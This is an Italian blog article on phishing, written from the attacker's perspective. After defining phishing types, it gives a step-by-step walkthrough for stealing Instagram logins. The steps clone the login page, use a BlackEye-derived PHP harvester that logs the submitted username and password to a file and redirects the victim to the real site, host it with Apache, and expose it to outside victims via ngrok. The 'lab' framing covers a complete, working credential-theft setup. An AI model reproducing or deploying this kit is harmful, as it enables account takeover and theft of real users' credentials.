Categories: ⚔️, Hacking10.5 min read

The Art of Phishing

Eccoci al secondo articolo di quello che abbiamo definito come lo spin-off della serie tratta dal libro/manifesto The Fallen Dreams, dove ancora una volta vestiremo i panni di uno degli antagonisti della serie. Cambiamo quindi la nostra prospettiva per addentrarci alla scoperta della tecnica del phishing, o come qualcuno ama definirla, ’arte del phishing.

Che cos’è il Phishing

[ torna al menu ]

Il termine stesso “phishing” sfugge ad una definizione assoluta, malgrado i tentativi fatti da molti esperti di sicurezza informatica, ricercatori e istituzioni. La definizione più acclamata lo categorizza come “processo atto ad indurre un dato destinatario a compiere l’azione voluta dall’attaccante”. Contestualizzandolo ancora di più in ambito informatico, potremmo definirlo come “un tentativo di truffare l’utente per rivelare informazioni sensibili, come dettagli bancari e numeri di carta di credito, inviando collegamenti dannosi che rimandano a Web Site fasulli”. Una componente centrale nell’utilizzo di questa tecnica è quindi la manipolazione psicologica della vittima, attraverso tecniche di social engineering.

Social Engineering

[ torna al menu ]

L’ingegneria sociale è uno degli attacchi meno “tecnici” in senso assoluto. Tuttavia, allo stesso tempo, rappresenta una variabile fondamentale ed essenziale per portare a segno attacchi puramente tecnici. Esso si basa sulla manipolazione psicologica di un individuo, al fine di estorcergli informazioni utili. Non occorre che l’”Ingegnere Sociale” conosca tecnicamente come creare un KeyLogger in C Sharp, se può ottenere la password della vittima “semplicemente chiedendogliela”.

Tipologie e tecniche di Phishing

[ torna al menu ]

  • Phishing e-Mail: è la più tradizionale delle tecniche di phishing, in cui l’attaccante utilizza tecniche di social-engineering per ingannare la vittima. Il vettore d’attacco è rappresentato da una mail fasulla contenente un Link malevolo su cui la vittima, ignaramente, è portata a cliccare.
  • Spoofed WebSite: conosciuto anche come Phishing Website. L’attaccante plasma un sito falso (fake) clonandone uno lecito. La vittima che clicca sul link viene reindirizzata al sito web malevolo (spesso molto simileall’originale) nel quale gli vengono sottratte informazioni sensibili, come ad esempio password e username.
  • Phone Phishing: L’attaccante impersona, con una chiamata o un messaggio di testo, qualcuno che la vittima conosce o ritiene attendibile, con la finalità di compiere azioni malevole.
  • Social Media Phishing (Soshing): tra i canali più utilizzati dagli attaccanti per ottenere informazioni e raggirare le vittime ci sono i Social Media. Ad esempio, gli attaccanti possono circuire la vittima impersonando un nuovo contatto, oppure spingendola a visitare pagine di Social Media fasulle, finalizzate ad estorcere informazioni sensibili.
  • Malware-Based Phishing: È una tipologia di phishing che avviene attraverso l’avvio di un software dannoso sulla macchina vittima. Il software viene scaricato dall’ignaro utente attraverso tecniche di social engineering oppure sfruttando vulnerabilità del sistema.
  • DNS Phishing: Il Domain Name System è il metodo utilizzato per assegnare nomi ai nodi di una rete, “risolvendo” l’indirizzo IP. Avvelenando la risoluzione dei nomi, è possibile reindirizzare la vittima verso l’indirizzo desiderato dall’attaccante.
  • Content Injection Phishing: si basa sulla dicotomia sito legittimo, ma contenuto falso e dannoso. In poche parole, viene compromesso un sito web attendibile per far sì che ospiti contenuti malevoli.
  • Man-In-The-Middle Phishing (MITM): l’attaccante si inserisce tra le due parti di una comunicazione (ad esempio tra l’utente e il sito web legittimo) cercando di ottenere informazioni tramite l’intercettazione delle comunicazioni della vittima.
  • Search Engine Phishing: Anche noto come SEO Black Hat.L’attaccante ottimizza i siti malevoli nell’ottica SEO per indicizzarli in maniera legittima, in modo che appaiano all’utente durante la ricerca di prodotti o servizi.

Passiamo adesso all’azione. Il nostro obiettivo sarà quello di ottenere le credenziali di login dell’account Instagram della vittima.

AMBIENTE DI LABORATORIO

[ torna al menu ]

Il nostro ambiente di laboratorio sarà così configurato:

  • MACCHINA ATTACCANTE: Kali Linux – IP: 192.168.178.7
  • MACCHINA VITTIMA: Windows 10x64bit – IP: 192.168.178.12

Parte I – Clone

[ torna al menu ]

Come prima cosa, dobbiamo clonare la pagina ufficiale di login di Instagram. Dalla nostra macchina attaccante apriamo il browser e navighiamo all’indirizzo: https://www.instagram.com/accounts/login/

La maschera che ci apparirà, sarà quella che dovremo clonare e manipolare. Copiamo l’indirizzo ufficiale e apriamo un terminale.

Abbiamo adesso diverse opzioni per procedere alla clonazione, vediamone alcune.

  • WGET

Nel caso di una banale pagina di login potremmo usare direttamente il comando wget.

wget http://example.com

Il commando wget (il nome deriva da “World Wide Web” più “get”) ci permette di scaricare un determinato contenuto direttamente da un web server.

  • HTTRACK

Utilizzando il tool httrack, potremo copiare direttamente un dato sito web da Internet sulla nostra directory locale, ricostruendo in maniera ricorsiva tutti i path.

Per prima cosa, dovremo installarlo utilizzando il comando:

sudo apt-get install httrack

Una volta installato, sarà sufficiente digitare:

A questo punto, listando il contenuto della directory, vedremo il sito internet target sulla nostra directory in locale.

  • BLACKEYE

Potremmo decidere di voler procedere in maniera più veloce, scaricando direttamente il tool BlackEye, digitando il comando:

Il tool permette di automatizzare tutti gli step necessari per hostare una pagina malevola, con relativo link. Tuttavia, noi procederemo manualmente per comprendere il funzionamento di questo attacco.

Una volta scaricato il tool, spostiamoci all’interno della cartella sites ed individuiamo quella che ci occorre: Instagram.

cd /blackeye/sites/instagram

Listiamo il suo contenuto tramite il comando ll e procediamo all’analisi.

NOTA: Un altro tool che permette di clonare il sito target e automatizzare il processo di phishing, è il noto setoolkit.

Parte II – Creazione

[ torna al menu ]

All’interno della cartella Instagram sono presenti cinque file:

  • index_files
  • php
  • php
  • html
  • php

Il contenuto della cartella index_files è quello che ci interessa meno, poiché contiene immagine e file di appoggio alla nostra pagina web fake.

index.php

Il file index.php è il timone di rotta del nostro sito web fake, infatti identifica la posizione dei vari moduli e rappresenta l’architettura di base del nostro sito internet.

Ma esaminiamo il suo contenuto:

<?php
include ‘ip.php’;
header(‘Location: login.html’);
exit
?>

Il codice, come prima cosa, include il file ip.php nel flusso.

Successivamente, il parametro header invia una chiamata a login.html .

Location specifica il nome del file da chiamare.

Apriamo il file index.php utilizzando l’editor di testo vim, schiacciamo il tasto “i” per passare in modalità insert e rimuoviamo la parte di codice che adesso non ci interessa: include ‘ip.php’;

<?php
header(‘Location: login.html’);
exit
?>

Quindi usciamo dalla modalità insert, utilizzando il tasto ESC, e digitiamo :wq! per uscire dal file salvandolo.

Rimuoviamo anche dalla cartella il file che nella stringa di codice veniva chiamato ip.php:

rm ip.php

Continuiamo adesso analizzando il nostro login.html. Dato che si tratta di un file .html apriamolo tramite il browser:

firefox login.html

Ad una prima occhiata superficiale, sembrerebbe effettivamente la pagina di login di Instagram. Certo, se non fosse che, l’indirizzo nella barra di ricerca, punta alla nostra directory locale:

file:///home/k4ls33r/Documents/HJ_Articoli/PhishingAttack/login.html

Andiamo più a fondo ed addentriamoci nel codice HTML, premendo F12 per ispezionarla, al fine di vedere quali sono le azioni che avvengono al momento in cui l’utente ignaro cliccherà sul pulsante di Log in.

Portiamoci con il mouse sul pulsante di Log in e clicchiamo con il tasto destro del mouse, scegliendo l’opzione “Inspect”. A questo punto, verremo rediretti alla parte di codice relativo alla funzione di “Log in”.

La prima cosa che balza all’occhio è il codice:

<form class=”_3jvtb” action=”login.php” method=”POST”>

Vale a dire che, l’“azione” che viene fatta relativa al form.3jvtb (che identifica la nostra maschera di login) è quella di richiamare un altro file: login.php .

Continuando la nostra analisi, notiamo che il contenuto in input che l’utente andrà ad inserire nel campo “Phone number, username, or email” verrà assegnato ad una variabile “username”.

La stessa cosa capita all’input che la nostra vittima inserirà nel campo “Password”, venendo assegnato alla variabile password.

Bene, non ci resta che scoprire che cosa contiene il file chiamato login.php. Torniamo sul nostro terminale e facciamo un cat del file login.php.

<?php
file_put_contents(“usernames.txt”, “Account: ” . $_POST[‘username’] . ” Pass: ” . $_POST[‘password’] . “n”, FILE_APPEND);
header(‘Location: https://instagram.com’);
exit();

file_put_contents: scrive dei dati in un file: usernames.txt , nel nostro caso.

Seguono i dati da scrivere, cioè la parola “Account: ” seguita dal contenuto della variabile. $_POST[‘username’] . Ancora, la parola ” Pass: ” seguita dal contenuto della variabile $_POST[‘password’]

Come abbiamo visto pocanzi, sia username che password conterranno le credenziali che la vittima ignara avrà inserito. Quindi nel file usernames.txt troveremo le credenziali sottratte tramite phishing all’utente. Una volta al termine, il comando header reindirizzerà verso il sito di Instagram ufficiale.

Torniamo sul nostro terminale, nella cartella che contiene il nostro sito internet fake, e creiamo quindi il nostro file usernames.txt.

echo Phishing Attack > usernames.txt

Ridirigiamo l’output del comando echo sul file username.txt.

Ed assegnamo al file i permessi completi:

chmod 777 usernames.txt

Parte III – Attacco

[ torna al menu ]

Pubblichiamo ilsito internet sulla nostra macchina linux, spostando i file che compongono il nostro sito fake nella cartella /var/www/html

Copiamoli utilizzando il comando cp, dichiarando i nomi dei file uno alla volta, in modo da rivedere ancora quali sono i file necessari per il nostro attacco.

cp index_files/ -r index.php login.html login.php usernames.txt /var/www/html

  • cp : copia
  • index_files/ -r : la directory contenente files e immagini del sito
  • php : lo scheletro del nostro sito
  • html : la pagina di login che la vittima visualizzerà
  • php : il codice php per salvare le credenziali sottratte
  • txt : il file dove salveremo username e password della vittima
  • /var/www/html : la directory di destinazione in locale dove pubblicheremo il nostro sito di phishing

Terminata la copia, avviamo sulla macchina il servizio apache:

service apache2 start

A questo punto, supponiamo che la nostra vittima abbia ricevuto il link al nostro sito internet di phishing, che essendo in locale sarà: http://192.168.178.7/login.html

Ignara di ciò che sta accadendo, continuerà digitando le credenziali del suo account Instagram per effettuare il login. E infine, cliccherà sul tasto Log in.

Se tutto sarà andato come previsto, sulla nostra macchina attaccante, all’interno del file usernames.txt troveremo le credenziali che l’utente ha appena digitato.

In questo caso, effettuando un cat sul file otteremo le credenziali dell’account.

Intanto, l’ignara vittima verrà reindirizzata al sito reale di Instagram, senza accorgersi di nulla, se non della necessità di dover inserire nuovamente le credenziali.

Parte IV – Verso l’esterno

[ torna al menu ]

Supponiamo adesso che la vittima risieda al di fuori della nostra rete locale. Per perpetrare il nostro attacco utilizzeremo il tool ngrok. L’applicazione ci permetterà di esporre il nostro sito internet fake, all’interno della nostra macchina locale, su internet.

Dalla nostra macchina attaccante navighiamo quindi sul sito ufficiale del tool: https://ngrok.com/download

Selezioniamo “More Options”, spostiamoci alla voce “Linux” e, cliccando con il tasto destro del mouse, copiamo il link di download.

Sul terminale della nostra Kali Linux digitiamo il comando:

wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip

Al termine del download estraiamo il contenuto del file digitando:

unzip ngrok-stable-linux-amd64.zip

All’interno della cartella del nostro sito si sarà aggiunto il file ngrok.

Avviamolo con i seguenti parametri, abilitando il traffico http tramite la porta 80:

./ngrok http 80

A questo punto, il tool avrà forwardato la porta e settato un tunnel: dal nostro localhost, porta 80 (http), verso l’indirizzo pubblico: http://e6f4-79-32-246-191.ngrok.io , che esporrà il nostro sito Web di Phishing.

Appena la nostra nuova vittima inserirà le sue credenziali, ne saremo entrati in possesso.

Go to Top